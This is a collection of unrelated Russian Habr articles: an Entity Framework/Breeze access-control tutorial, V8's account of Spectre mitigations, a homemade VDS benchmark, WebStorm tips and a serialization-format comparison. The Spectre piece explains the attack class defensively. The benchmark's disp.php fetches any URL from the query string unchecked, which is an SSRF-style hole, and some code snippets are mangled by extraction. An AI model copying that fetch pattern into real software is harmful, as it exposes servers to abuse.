Первым делом в методе мы проверяем, прошёл ли пользователь аутентификацию (user.Identity.IsAuthenticated), и, если нет — запрещаем сохранение. Далее мы проверяем статус сущности и ищем соответствующий атрибут для имени пользователя или его роли, если таковой присутствует — разрешаем сохранение. Если же статус EntityState.Modified и у пользователя нет прав на изменение всего объекта — смотрим изменившиеся свойства в OriginalValuesMap и ищем нужный атрибут у свойства, если такового нет — запрещаем сохранение.
Учитывая, что каждая сущность перед сохранением попадает в этот метод — возможно также реализовать разграничение не на уровне полей, а на уровне отдельных записей. Например, запретить пользователю User удалять запись с идентификатором 1. Так же можно, например, вместо атрибутов, хранить все права доступа где-нибудь в базе данных, чтобы можно было изменять их в рантайме.
Далее в DbController нужно заменить EFContextProvider на наш SecureEFContextProvider
```
...
private SecureEFContextProvider \_contextProvider = new SecureEFContextProvider();
...
```
Теперь сохранение каждой сущности под нашим контролем. Но если сейчас попробовать внести какие-либо изменения — пользователь подумает, что всё прошло успешно, потому что мы не делали обработки ошибки при сохранении. Внесём небольшие изменения в метод saveChanges.
```
function saveChanges() {
manager.saveChanges().then(null, function (error) {
if (error.status === 403) {
manager.rejectChanges();
alert("Пользователю запрещено это действие");
}
});
}
```
Теперь в случае, если сервер вернёт 403 — будет произведён откат изменений, которые не удались, а пользователь увидит сообщение.
С сохранением разобрались. Теперь поговорим о доступе на чтение тех или иных данных. Самый логичный и надёжный метод, конечно, создать на каждую сущность, с которой требуется работать, свой DTO, сделать между ними связи, затем создать для них специальный DbContext, чтобы так же просто генерировать клиентские метаданные с помощью EFContextProvider. В DbController сделать соответствующие методы для каждого DTO. В общем, всё точно так же, как в нашем приложении, но в методе BeforeSaveEntity — принимать DTO, а работать уже с реальным контекстом и реальными сущностями, а затем возвращать из метода false, чтобы DTO контекст не пробовал делать сохранение. В этом случае лучше подойдёт метод BeforeSaveEntities, потому что в него попадает сразу весь пакет сохранения, и, соответственно, можно будет сохранить сразу все изменения в один присест, затем нужно из метода вернуть пустой словарь Dictionary, чтобы DTO контекст не стал ничего сохранять.
При таком подходе на клиент не попадёт никаких лишних данных, плюс мы не раскрываем схему нашей БД. Но, естественно, увеличивается и количество работы по созданию DTO и дополнительной обработке их сохранения. Конечно, трудно кого-то этим напугать, но почему бы нам ещё немного не пофантазировать…
Первым делом напишем атрибут, которым будем раздавать права на чтение сущностей и свойств
```
[AttributeUsage(AttributeTargets.Class | AttributeTargets.Property, AllowMultiple = true)]
public class CanReadAttribute: HasRightsAttribute
{
}
```
Раздадим атрибуты классам
```
[CanEdit(User = "User")]
[CanAdd(Role = "Role")]
[CanDelete(Role = "Role2")]
[CanRead(User = "User", Role = "Role")]
public class ListItem
{
[CanRead(Role = "Role2", User = "User2")]
public int Id { get; set; }
public String Name { get; set; }
[CanEdit(User = "User2", Role = "Role2")]
[CanRead(Role="Role2", User="User2")]
public Boolean IsBought { get; set; }
[CanRead(Role = "Role2", User = "User2")]
public int CategoryId { get; set; }
public Category Category { get; set; }
}
```
```
[CanEdit(User = "User")]
[CanAdd(Role = "Role")]
[CanRead(User="User", Role="Role")]
[CanRead(Role = "Role2", User = "User2")]
public class Category
{
public int Id { get; set; }
public String Name { get; set; }
public List ListItems { get; set; }
}
```
Принцип тот же, если есть атрибут на классе — пользователь имеет право на просмотр всех свойств, если нет — то только тех, на которых есть атрибут. Скрывать данные будем в событии ObjectContext ObjectMaterialized, для этого немного дополним класс SecureEFContextProvider
```
public class SecureEFContextProvider : EFContextProvider where T : class, new()
{
public SecureEFContextProvider()
{
ObjectContext.ObjectMaterialized += ObjectContext\_ObjectMaterialized;
}
private void ObjectContext\_ObjectMaterialized(object sender, ObjectMaterializedEventArgs e)
{
var user = HttpContext.Current.GetOwinContext().Authentication.User;
String userName = null;
String role = null;
if (user.Identity.IsAuthenticated)
{
userName = user.FindFirst(ClaimTypes.Name).Value;
role = user.FindFirst(ClaimTypes.Role).Value;
}
var entityType = e.Entity.GetType();
//Если тип имеет атрибут CanReadAttribute для текущего пользователя или роли - то сразу выходим из функции
if (entityType.GetCustomAttributes().Any(x => x.Role == role || x.User == userName))
{
return;
}
//Выберем все свойства, к которым пользователь не имеет доступа
var \_forbiddenProperties = e.Entity.GetType().GetProperties()
.Where(x => !x.GetCustomAttributes()
.Any(y => y.Role == role || y.User == userName));
foreach (var property in \_forbiddenProperties)
{
//И спрячем их значения от посторонних глаз
property.SetValue(e.Entity, null);
}
}
```
Здесь мы просто устанавливаем значение null всем свойствам, доступа к которым пользователь не имеет. Теперь, если запустить проект, можно увидеть, что неавторизованный пользователь не имеет прав даже на чтение ключей объектов, Пользователь User или роль Role имеет права на просмотр всех свойств, а вот пользователь User2 и роль Role2 не могут видеть названий элементов списка. Этого мы и добивались. Но, хочу заметить, несмотря на то, что пользователь не имеет доступа к непосредственно данным в некоторых свойствах объектов, полная схема моделей данных полностью известна на клиенте.
Вот, пожалуй, и всё, о чём хотелось рассказать сегодня. Только замечу, что пользователь будет очень обескуражен, не зная, какие поля ему можно редактировать, а какие нет, а User2 будет в шоке от того, что у пунктов списка пустые имена. Поэтому в следующий раз мы рассмотрим работу с метаданными в бризе и дадим нашему пользователю визуальные подсказки о том, какие права есть у него в приложении. Готовый проект можно скачать по [ссылке](https://1drv.ms/u/s!AsrtdLXc2hes6hhtxL3j-3Z9LVY-).
P.S. Пока писал статью решил написать библиотеку, которая будет реализовать такое разграничение доступа при помощи атрибутов/fluent interface. Если есть какие-либо идеи, советы и пожелания по функционалу или реализации — милости прошу в комментарии. Как будет готово что-то более-ли менее пристойное — опубликую на GitHub, в NuGet, и напишу здесь tutorial. | https://habr.com/ru/post/249417/ | null | ru | null |
# V8: один год со Spectre
3 января 2018 года Google Project Zero и другие [раскрыли](https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html) первые три из нового класса уязвимостей, которые затрагивают процессоры со спекулятивным выполнением. Их назвали [Spectre](https://spectreattack.com/spectre.pdf) (1 и 2) и [Meltdown](https://meltdownattack.com/meltdown.pdf). Используя механизмы [спекулятивного выполнения](https://en.wikipedia.org/wiki/Speculative_execution) CPU, злоумышленник может временно обойти как явные, так и неявные программные проверки безопасности, которые не позволяют программам читать недоступные данные в памяти. В то время как спекулятивное выполнение разработано как деталь микроархитектуры, невидимая на архитектурном уровне, тщательно разработанные программы могли считывать недоступную информацию в спекулятивном блоке и раскрывать её через побочные каналы, такие как время выполнения фрагмента программы.
Когда было показано, что атаки Spectre возможны средствами JavaScript, команда V8 приняла участие в решении проблемы. Мы сформировали группу реагирования на чрезвычайные ситуации и тесно сотрудничали с другими командами в Google, нашими партнёрами из числа разработчиков других браузеров и партнёрами по оборудованию. Совместно с ними мы проактивно вели как наступательные исследования (конструирование атакующих модулей для доказательства концепции), так и оборонительные (смягчение потенциальных атак).
Атака Spectre состоит из двух частей:
* *Утечка недоступных в противном случае данных в скрытое состояние CPU*. Все известные атаки Spectre используют спекуляции для передачи битов недоступных данных в кэши CPU.
* *Извлечение скрытого состояния*, чтобы восстановить недоступные данные. Для этого злоумышленнику нужны часы достаточной точности. (На удивление невысокой точности, особенно с такими методами, как edge thresholding — сравнение с порогом вдоль выделяемого контура).
Теоретически, достаточно было бы заблокировать любой из двух компонентов атаки. Поскольку мы не знаем, как полностью заблокировать ни один из них, мы разработали и развернули смягчения, которые значительно уменьшают объём информации, просачивающейся в кэши CPU, и смягчения, которые затрудняют восстановление скрытого состояния.
Высокоточные таймеры
====================
Крошечные изменения состояния, которые остаются после спекулятивного выполнения, порождают соответственно крошечные, почти невозможно крошечные, временны́е различия — порядка миллиардной доли секунды. Для непосредственного обнаружения отдельных таких различий атакующей программе требуется высокоточный таймер. Процессоры предлагают такие таймеры, но веб-платформа их не выставляет. У самого точного таймера на веб-платформе `performance.now()` было разрешение в несколько микросекунд, которое изначально считалось непригодным для этой цели. Однако два года назад научно-исследовательская группа, специализирующаяся на микроархитектурных атаках, опубликовала [статью](https://gruss.cc/files/fantastictimers.pdf) о таймерах на веб-платформе. Они пришли к выводу, что одновременная изменяемая общая память и различные методы восстановления разрешения позволяют создать таймеры ещё более высокого разрешения, вплоть до наносекундного. Такие таймеры достаточно точны, чтобы обнаружить отдельные хиты и промахи кэша L1. Именно он обычно используется для съёма информации в атаках Spectre.
Защита для таймера
==================
Чтобы нарушить способность обнаруживать небольшие различия во времени, разработчики браузеров выбрали многосторонний подход. Во всех браузерах было уменьшено разрешение `performance.now()` (в Chrome с 5 микросекунд до 100) и введён случайный джиттер, чтобы предотвратить восстановление разрешения. После консультаций между разработчиками всех браузеров мы вместе решили предпринять беспрецедентный шаг: немедленного и ретроактивно отключить `SharedArrayBuffer` API во всех браузерах, чтобы предотвратить создание наносекундного таймера.
Усиление
========
В начале наших наступательных исследований стало ясно, что одних только смягчений таймера недостаточно. Одна из причин заключается в том, что злоумышленник может просто многократно запускать свой код, чтобы кумулятивная разница во времени была намного больше, чем одно попадание или промах кэша. Мы смогли сконструировать надёжные «гаджеты», которые используют много строк кэша за раз, вплоть до всей ёмкости кэша, что даёт разницу во времени до 600 микросекунд. Позже мы обнаружили произвольные методы усиления, которые не ограничены ёмкостью кэша. Такие методы усиления основаны на многократных попытках считывания секретных данных.
Защита JIT
==========
Чтобы прочитать недоступные данные с помощью Spectre, злоумышленник заставляет CPU спекулятивно выполнять код, который считывает обычно недоступные данные и помещает их в кэш. Защиту можно рассмотреть с двух сторон:
1. Предотвращение спекулятивного выполнения кода.
2. Предотвращение чтения недоступных данных со стороны спекулятивного конвейера.
Мы экспериментировали с первым вариантом, вставляя рекомендуемые инструкции для предотвращения спекуляций, такие как `LFENCE` от Intel, на каждую критическую условную ветвь и используя [ретполины](https://support.google.com/faqs/answer/7625886) для косвенных ветвей. К сожалению, такие тяжёлые смягчения значительно снижают производительность (замедление в 2-3 раза на бенчмарке Octane). Вместо этого мы выбрали второй подход, вставив последовательности смягчения, которые предотвращают чтение секретных данных из-за неправильных спекуляций. Позвольте проиллюстрировать технику следующим фрагментом кода:
```
if (condition) {
return a[i];
}
```
Для простоты предположим, что условие `0` или `1`. Приведённый выше код уязвим, если CPU спекулятивно считывает из `a[i]`, когда `i` находится вне пределов, получая доступ к обычно недоступным данным. Важным наблюдением является то, что в таком случае спекуляция пытается прочитать `a[i]`, когда условие равно `0`. Наше смягчение переписывает эту программу так, что она ведёт себя точно так же, как оригинальная программа, но не допускает утечки каких-либо спекулятивно загруженных данных.
Мы резервируем один регистр CPU, который мы называем «ядом» (poison), чтобы отслеживать, выполняется ли код в неправильно интерпретируемой ветви. Ядовитый регистр поддерживается во всех ветвях и вызовах сгенерированного кода, так что любая неправильно интерпретированная ветвь заставляет ядовитый регистр становиться `0`. Затем мы измеряем все обращения к памяти так, чтобы они безоговорочно маскировали результат всех загрузок текущим значением регистра poison. Это не мешает процессору предсказывать (или неверно интерпретировать) ветви, но уничтожает информацию (потенциально вне пределов) загруженных значений из-за неверно интерпретированных ветвей. Инструментальный код показан ниже (`a` — это массив чисел).
```
let poison = 1;
// …
if (condition) {
poison *= condition;
return a[i] * poison;
}
```
Дополнительный код не оказывает никакого влияния на нормальное (определённое архитектурой) поведение программы. Он влияет только на микро-архитектурное состояние при работе на CPU со спекулятивным выполнением. Если инструментировать программу на уровне исходного кода, расширенные оптимизации в современных компиляторах могут удалить такое инструментирование. В V8 мы предотвращаем удаление компилятором смягчений, вставляя их на очень поздней стадии компиляции.
Мы также используем эту технику «отравления» для предотвращения утечек из непрямых ветвей в цикле отправки байт-кода интерпретатора и в последовательности вызовов функций JavaScript. В интерпретаторе мы устанавливаем яд в `0`, если обработчик байт-кода (т. е. последовательность машинного кода, которая интерпретирует один байт-код) не соответствует текущему байт-коду. Для вызовов JavaScript мы передаём целевую функцию в качестве параметра (в регистре) и устанавливаем яд в `0` в начале каждой функции, если входящая целевая функция не соответствует текущей функции. При таком смягчении мы видим замедление менее чем на 20% по бенчмарку Octane.
Смягчение для WebAssembly проще, так как основная проверка безопасности заключается в обеспечении доступа к памяти в пределах границ. Для 32-разрядных платформ, в дополнение к обычным проверкам границ, мы заполняем всю память до следующей степени двух и безоговорочно маскируем любые верхние биты пользовательского индекса памяти. 64-разрядные платформы не нуждаются в таком смягчении, так как реализация использует защиту виртуальной памяти для проверок границ. Мы экспериментировали с компиляцией операторов switch/case в двоичный поисковый код вместо использования потенциально уязвимой косвенной ветви, но это слишком дорого для некоторых рабочих нагрузок. Косвенные вызовы защищены ретполинами.
Защита программного обеспечения — ненадёжный вариант
====================================================
К счастью или к несчастью, наши наступательные исследования продвигались намного быстрее, чем оборонительные, и мы быстро обнаружили невозможность программного смягчения всех возможных утечек в ходе атак Spectre. Это обусловлено рядом причин. Во-первых, инженерные усилия, направленные на борьбу со Spectre, несоразмерны уровню угрозы. В V8 мы сталкиваемся со многими другими угрозами безопасности, которые намного хуже, от прямого чтения за пределами границ из-за обычных багов (что быстрее и проще, чем Spectre), записи за пределы границ (это невозможно со Spectre и хуже) и потенциального удалённого выполнения кода (невозможно со Spectre и намного, намного хуже). Во-вторых, всё более сложные меры по смягчению последствий, которые мы разработали и внедрили, несли в себе значительную сложность, которая является техническим долгом и может фактически увеличить поверхность атаки и накладные расходы на производительность. В-третьих, тестирование и поддержание смягчения микроархитектурных утечек ещё сложнее, чем проектирование самих гаджетов для атаки, поскольку трудно быть уверенным, что смягчения продолжают работать так, как они были разработаны. По крайней мере один раз важные смягчения были эффективно отменены более поздними оптимизациями компилятора. В-четвёртых, мы обнаружили, что эффективное смягчение некоторых вариантов Spectre, особенно варианта 4, просто невозможно в программном обеспечении, даже после героических усилий наших партнёров в Apple по борьбе с проблемой в их JIT-компиляторе.
Изоляция сайтов
===============
Наши исследования привели к выводу: в принципе, ненадёжный код может считать всё адресное пространство процесса с помощью Spectre и побочных каналов. Программные смягчения снижают эффективность многих потенциальных гаджетов, но не являются эффективными или всеобъемлющими. Единственной эффективной мерой является перемещение конфиденциальных данных за пределы адресного пространства процесса. К счастью, Chrome уже много лет пытается разделить сайты по разным процессам, чтобы уменьшить поверхность атаки из-за обычных уязвимостей. Эти инвестиции окупились, и к маю 2018 года мы довели до стадии готовности и развернули [изоляцию сайтов](https://developers.google.com/web/updates/2018/07/site-isolation) на максимальном количестве платформ. Таким образом, модель безопасности Chrome больше не предполагает языковой конфиденциальности в процессе рендерера.
Spectre прошёл долгий путь и подчеркнул достоинства сотрудничества разработчиков в индустрии и научных кругах. Пока что белые шляпы опережают чёрных. Мы до сих пор не знаем ни об одной реальной атаке, за исключением любопытных экспериментаторов и профессиональных исследователей, разрабатывающих гаджеты для доказательства концепции. Новые варианты этих уязвимостей продолжают появляться и это продолжится в течение некоторого времени. Мы продолжаем отслеживать эти угрозы и серьёзно к ним относиться.
Как и многие программисты, мы тоже думали, что безопасные языки обеспечивают правильную границу абстракции, не позволяя хорошо типизированным программам читать произвольную память. Печально, что это оказалось ошибкой — эта гарантия не соответствует сегодняшнему оборудованию. Конечно, мы по-прежнему считаем, что у безопасных языков больше инженерных преимуществ, и за ними будущее, но… на сегодняшнем оборудовании они немного протекают.
Заинтересованные читатели могут углубиться в тему и получить более подробную информацию в нашей [научной статье](https://arxiv.org/pdf/1902.05178.pdf). | https://habr.com/ru/post/449546/ | null | ru | null |
# Тестирование производительности VDS
Усиленно подбираю себе VDS — задумался над вопросом сравнения производительности.
*Цель данной статьи — попытка найти критерий, по которому можно сравнить VDS от различных провайдеров и выбрать объективно наиболее удачную по сочетанию цена/качество. Возможно, изложенные в статье методы не являются достоверными, но как отправная точка — вполне достаточно.*
Начну с того, как я вижу данный вопрос, если что — поправьте меня, т.к. я скорее руководствуюсь здравым смыслом, т.к. опыта подобных тестов у меня нет.
С одной стороны есть, например, бенчмарк «ubench», который довольно неплохо, пусть и суррогатно, меряет мощность в попугаях. Следует оговориться, что в случае VDS все такие тестеры не совсем корректны, но при наличии достаточной статистики ситуация вырисовывается довольно близкая к реальной.
Однако я подумал воспользоваться еще одним способом. Есть CMS, которая генерирует некоторые страницы сайта n секунд. Я написал коротенький скрипт, который запрашивает 10 одинаковых страниц с разных хостов, и затем обрабатывает результат. Здесь самое интересное — лично я не вполне уверен в правильности и адекватности методики, поэтому приведу исходники скриптов:
Скрипт disp.php — туннель для AJAX, я решил не париться с кросдоменным AJAX'ом :)
`print file_get_contents($_SERVER["QUERY_STRING"]) * 1000; ?`
Скрипт exec.php — запускает основной скрипт CMS, эмулируя обращение, измеряет время обращения и выводит его
`<br/
$time = microtime(1);
// эмуляция обычного HTTP запроса
file_get_contents("http://{$_SERVER["HTTP_HOST"]}/АДРЕС");
print microtime(1) - $time;
?>`
Собственно, самый главный скрипт находится по адресу [test.osmio.ru/disp.html](http://test.osmio.ru/disp.html) — весь код на JavaScript, исходники открыты.
Лично я вижу несколько потенциально «скользких» мест:
1. Если один скрипт еще не отработал, а новый запрос уже пришел — сервер начинает грузиться сильнее, но от этого спасет галочка синхронных запросов
2. Скрипт не измеряет полное время запроса, хотя, возможно, следовало бы — все сервера отвечают с разной задержкой… Но я сознательно не включил это в расчет, т.к. каналы между серверами могут идти как угодно, в том числе и через Европу — и такое бывает, что два соседних ДЦ в Мск гоняют траф окольными путями.
3. HTTP запрос в exec.php — несмотря на то, что он идет на тот же хост
После получения положенного количества тестов, я их слегка обрабатываю, насколько хватает воспоминаний о матане, и вывожу.
Конфигурации у серверов следующие:
* vds-dbbb.1gb.ru — 1GB.ru, 500MHz, 384MB, OpenVZ, Gentoo
* cms.dis.dj — Infobox.ru, 333MHz, 512MB, HyperV, Debian5
* 89.188.123.24 — Ruweb.net, 2000MHz, 1536MB, VDSManager, FreeBSD6
У меня замерились следующие значения:
| Хост | Среднее | Отклонение | Мин | Макс | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| [vds-dbbb.1gb.ru](http://vds-dbbb.1gb.ru) | 156 | 44 (28%) | 128 | 282 | 136 | 138 | 131 | 282 | 137 | 134 | 134 | 133 | 144 | 128 |
| [cms.dis.dj](http://cms.dis.dj) | 1294 | 60 (5%) | 1234 | 1462 | 1275 | 1291 | 1279 | 1259 | 1234 | 1462 | 1282 | 1269 | 1262 | 1316 |
| [89.188.123.24](http://89.188.123.24) | 441 | 15 (3%) | 417 | 460 | 451 | 420 | 452 | 456 | 445 | 460 | 417 | 445 | 420 | 443 |
Я еще раз повторяю, что методология не факт, что адекватная действительности, но некоторые выводы я все же сделаю:
* 1GB нехило колбасит, хотя значения, в основном, минимальные
* Infobox безбожно тормозит — там послабже процессор и принципиально другая технология виртуализации, но не настолько же
* Ruweb очень стабилен и примерно между 1GB и ISPServer
Результаты тестов ubench:
* **Infobox**
Ubench CPU: 27692
Ubench MEM: 19291
Ubench AVG: 23491
* **1GB**
Ubench CPU: 55762
Ubench MEM: 44521
Ubench AVG: 50141
* **Ruweb** — по цифрам машина зло, но она и должна быть мощнее, заявленные характеристики на голову выше остальных
Ubench CPU: 600191
Ubench MEM: 269780
Ubench AVG: 434985
Выводы — не такая и слабая VDSка у Infobox, даже несмотря на меньшую частоту — она вполне конкурирует с ISPServer. Однако время генерации заметно большее. Я полагаю, что это связано с настройками софта. Здесь следует заметить, что везде, кроме 1GB стоит ISPManager с настроенными по-умолчанию Apache, PHP5 и т.д. Также следует заметить, что есть определенная корреляция между значениями ubench и тем, что намерил мой тестер.
**UPD.** У ISPServer кончился тестовый период, и т.к. его результат был не особо хорошим при довольно внушительной цене за хостинг — из расчета я его исключил. | https://habr.com/ru/post/54393/ | null | ru | null |
# Секреты быстрого кодинга в WebStorm
Сегодня — немного практических советов по работе с WebStorm.
Вначале пишем совсем простой HTML, после *color:* нажимаем и получаем список цветов.
КО подсказывает: во всех IDE от JetBrains — это контекстная подсказка.
Как только мы выбрали цвет, на вертикальной полоске слева от текста тут же появляется маленький квадрат такого же цвета. Теперь можно кликнуть по нему, и откроется палитра, из которой можно выбрать вообще любой цвет.
А теперь представим себе проект посложнее, небольшое приложение под node.js.
[Говорят](http://java.dzone.com/articles/why-idea-better-eclipse), что IDE от JetBrains хороши вниманием к деталям и пониманием контекста. Вот, казалось бы, мелочь: мне надо для тестирования этого приложения сделать простенькую страницу с формой на HTML. Сделал, попробовал, усложнил приложение, тест тоже надо усложнять: переделываю форму так, чтобы она выглядела удобно для заполнения нескольких полей.
Начинаю вводить в конце строки тэг
```
```
Нажимаю клавишу **<**, WebStorm сам догадывается, что мне нужен
```
```
и предлагает список вариантов с уже выбранным тэгом, который мне нужен. Я просто нажимаю Enter, и — готово! | https://habr.com/ru/post/168267/ | null | ru | null |
# Сравнение форматов сериализации
При выборе формата сериализации сообщений, которые будут записаны в очередь, лог или куда-либо еще, часто возникает ряд вопросов, так или иначе влияющих на конечный выбор. Одними из таких ключевых вопросов являются скорость сериализации и размер полученного сообщения. Так как форматов для подобных целей немало, я решил протестировать некоторые из них и поделиться результатами.
Подготовка к тестированию
-------------------------
Тестироваться будут следующие форматы:
1. Java serialization
2. Json
3. Avro
4. Protobuf
5. Thrift (binary, compact)
6. Msgpack
В качестве ЯП выбрана Scala.
Основным инструментом для тестирования будет [Scalameter](https://github.com/scalameter/scalameter).
Измеряться и сравниваться будут следующие параметры: время, затраченное на сериализацию и десериализацию, и размер получившихся файлов.
Удобство пользования, возможность эволюции схемы и другие немаловажные параметры в данном сравнении участвовать не будут.
### Генерация входных данных
Для чистоты экспериментов необходимо предварительно сгенерировать набор данных. Формат входных данных — CSV файл. Данные генерируются с помощью простого `Random.next[...]` для числовых значений и `UUID.randomUUID()` для строковых. Сгенерированные данные записываются в csv файл с помощью [kantan](https://github.com/nrinaudo/kantan.csv). Всего сгенерировано 3 сета данных по 100k записей каждый:
1. Смешанные данные — 28 mb
**Mixed data**
```
final case class MixedData(
f1: Option[String],
f2: Option[Double],
f3: Option[Long],
f4: Option[Int],
f5: Option[String],
f6: Option[Double],
f7: Option[Long],
f8: Option[Int],
f9: Option[Int],
f10: Option[Long],
f11: Option[Float],
f12: Option[Double],
f13: Option[String],
f14: Option[String],
f15: Option[Long],
f16: Option[Int],
f17: Option[Int],
f18: Option[String],
f19: Option[String],
f20: Option[String],
) extends Data
```
2. Только строки — 71 mb
**OnlyStrings**
```
final case class OnlyStrings(
f1: Option[String],
f2: Option[String],
f3: Option[String],
f4: Option[String],
f5: Option[String],
f6: Option[String],
f7: Option[String],
f8: Option[String],
f9: Option[String],
f10: Option[String],
f11: Option[String],
f12: Option[String],
f13: Option[String],
f14: Option[String],
f15: Option[String],
f16: Option[String],
f17: Option[String],
f18: Option[String],
f19: Option[String],
f20: Option[String],
) extends Data
```
3. Только числа (long) — 20 mb
**OnlyLongs**
```
final case class OnlyLongs(
f1: Option[Long],
f2: Option[Long],
f3: Option[Long],
f4: Option[Long],
f5: Option[Long],
f6: Option[Long],
f7: Option[Long],
f8: Option[Long],
f9: Option[Long],
f10: Option[Long],
f11: Option[Long],
f12: Option[Long],
f13: Option[Long],
f14: Option[Long],
f15: Option[Long],
f16: Option[Long],
f17: Option[Long],
f18: Option[Long],
f19: Option[Long],
f20: Option[Long],
) extends Data
```
Каждая запись состоит из 20 полей. Значение каждого поле опционально.
Тестирование
------------
Характеристики ПК, на котором происходило тестирование, версия scala и java:
ПК: 1,8 GHz Intel Core i5-5350U (2 physical cores), 8 GB 1600 MHz DDR3, SSD SM0128G
Java version: 1.8.0\_144-b01; Hotspot: build 25.144-b01
Scala version: 2.12.8
### Java serialization
| | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 3444,53 | 2586,23 | 5548,63 |
| Deserialization, ms | 852,62 | 617,65 | 2006,41 |
| Size, mb | 36 | 24 | 86 |
### Json
| | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 5280,67 | 4358,13 | 5958,92 |
| Deserialization, ms | 3347,20 | 2730,19 | 4039,24 |
| Size, mb | 52 | 36 | 124 |
### Avro
Avro схема генерировалась на ходу перед непосредственным тестированием. Для этого использовалась библиотека [avro4s](https://github.com/sksamuel/avro4s).
| | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 2146,72 | 1546,95 | 2829,31 |
| Deserialization, ms | 692,56 | 535,96 | 944,27 |
| Size, mb | 22 | 11 | 73 |
### Protobuf
**Protobuf schema**
```
syntax = "proto3";
package protoBenchmark;
option java_package = "protobufBenchmark";
option java_outer_classname = "data";
message MixedData {
string f1 = 1;
double f2 = 2;
sint64 f3 = 3;
sint32 f4 = 4;
string f5 = 5;
double f6 = 6;
sint64 f7 = 7;
sint32 f8 = 8;
sint32 f9 = 9;
sint64 f10 = 10;
double f11 = 11;
double f12 = 12;
string f13 = 13;
string f14 = 14;
sint64 f15 = 15;
sint32 f16 = 16;
sint32 f17 = 17;
string f18 = 18;
string f19 = 19;
string f20 = 20;
}
message OnlyStrings {
string f1 = 1;
string f2 = 2;
string f3 = 3;
string f4 = 4;
string f5 = 5;
string f6 = 6;
string f7 = 7;
string f8 = 8;
string f9 = 9;
string f10 = 10;
string f11 = 11;
string f12 = 12;
string f13 = 13;
string f14 = 14;
string f15 = 15;
string f16 = 16;
string f17 = 17;
string f18 = 18;
string f19 = 19;
string f20 = 20;
}
message OnlyLongs {
sint64 f1 = 1;
sint64 f2 = 2;
sint64 f3 = 3;
sint64 f4 = 4;
sint64 f5 = 5;
sint64 f6 = 6;
sint64 f7 = 7;
sint64 f8 = 8;
sint64 f9 = 9;
sint64 f10 = 10;
sint64 f11 = 11;
sint64 f12 = 12;
sint64 f13 = 13;
sint64 f14 = 14;
sint64 f15 = 15;
sint64 f16 = 16;
sint64 f17 = 17;
sint64 f18 = 18;
sint64 f19 = 19;
sint64 f20 = 20;
}
```
Для генерации protobuf3 классов использовался плагин [ScalaPB](https://github.com/scalapb/ScalaPB).
| | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 1169,40 | 865,06 | 1856,20 |
| Deserialization, ms | 113,56 | 77,38 | 256,02 |
| Size, mb | 22 | 11 | 73 |
### Thrift
**Thrift schema**
```
namespace java thriftBenchmark.java
#@namespace scala thriftBenchmark.scala
typedef i32 int
typedef i64 long
struct MixedData {
1:optional string f1,
2:optional double f2,
3:optional long f3,
4:optional int f4,
5:optional string f5,
6:optional double f6,
7:optional long f7,
8:optional int f8,
9:optional int f9,
10:optional long f10,
11:optional double f11,
12:optional double f12,
13:optional string f13,
14:optional string f14,
15:optional long f15,
16:optional int f16,
17:optional int f17,
18:optional string f18,
19:optional string f19,
20:optional string f20,
}
struct OnlyStrings {
1:optional string f1,
2:optional string f2,
3:optional string f3,
4:optional string f4,
5:optional string f5,
6:optional string f6,
7:optional string f7,
8:optional string f8,
9:optional string f9,
10:optional string f10,
11:optional string f11,
12:optional string f12,
13:optional string f13,
14:optional string f14,
15:optional string f15,
16:optional string f16,
17:optional string f17,
18:optional string f18,
19:optional string f19,
20:optional string f20,
}
struct OnlyLongs {
1:optional long f1,
2:optional long f2,
3:optional long f3,
4:optional long f4,
5:optional long f5,
6:optional long f6,
7:optional long f7,
8:optional long f8,
9:optional long f9,
10:optional long f10,
11:optional long f11,
12:optional long f12,
13:optional long f13,
14:optional long f14,
15:optional long f15,
16:optional long f16,
17:optional long f17,
18:optional long f18,
19:optional long f19,
20:optional long f20,
}
```
Для генерации scala-like thrift классов использовался плагин [Scrooge](https://github.com/twitter/scrooge).
| Binary | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 1274,69 | 877,98 | 2168,27 |
| Deserialization, ms | 220,58 | 133,64 | 514,96 |
| Size, mb | 37 | 16 | 98 |
| Compact | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 1294,87 | 900,02 | 2199,94 |
| Deserialization, ms | 240,23 | 232,53 | 505,03 |
| Size, mb | 31 | 14 | 98 |
### Msgpack
| | Mixed data | Only longs | Only strings |
| --- | --- | --- | --- |
| Serialization, ms | 1142,56 | 791,55 | 1974,73 |
| Deserialization, ms | 289,60 | 80,36 | 428,36 |
| Size, mb | 21 | 9,6 | 73 |
### Итоговое сравнение
**Точность результатов**Важно: результаты скорости работы сериализации и десериализации не являются на 100% точными. Здесь присутствует большая погрешность. Несмотря на то, что тесты были запущены множество раз с дополнительным прогревом JVM, стабильными и точными полученные результаты назвать сложно. Именно поэтому я крайне не рекомендую делать окончательные выводы относительно того или иного формата сериализации, ориентируясь на временные графики.
Учитывая тот факт, что результаты, не являются абсолютно точными, на их основе все-таки можно сделать некоторые наблюдения:
1. Еще раз убедились, что java сериализация медленная и не самая экономичная с точки зрения объема выходных данных. Одной из основных причин медленной работы — обращение к полям объектов с помощью рефлексии. Кстати, обращение к полям и их дальнейшая запись происходит не в том порядке, в котором вы их объявили в классе, а в отсортированном в лексикографическом порядке. Это просто интересный факт;
2. Json — единственный текстовый формат из представленных в данном сравнении. Почему сериализованные в json данные занимают много места очевидно — каждая запись записывается вместе со схемой. Это также влияет и на скорость записи в файл: чем больше байтов необходимо записать, тем больше на это требуется времени. Также не стоит забывать о том, что для каждой записи создается json-объект, что тоже не убавляет время;
3. Avro при сериализации объекта анализирует схему, чтобы в дальнейшем решить, каким образом обрабатывать то или иное поле. Это дополнительные затраты, ведущие к увеличению общего времени сериализации;
4. Thrift по сравнению, например, с protobuf и msgpack требует для записи одного поля больший объем памяти, так как вместе со значением поля сохраняется и его мета информация. Также, если посмотреть на выходные файлы thrift, то можно увидеть, что не малую долю от общего объема занимают различные идентификаторы начала и конца записи и размер всей записи в качестве разделителя. Все это безусловно лишь увеличивает время, затраченное на упаковку;
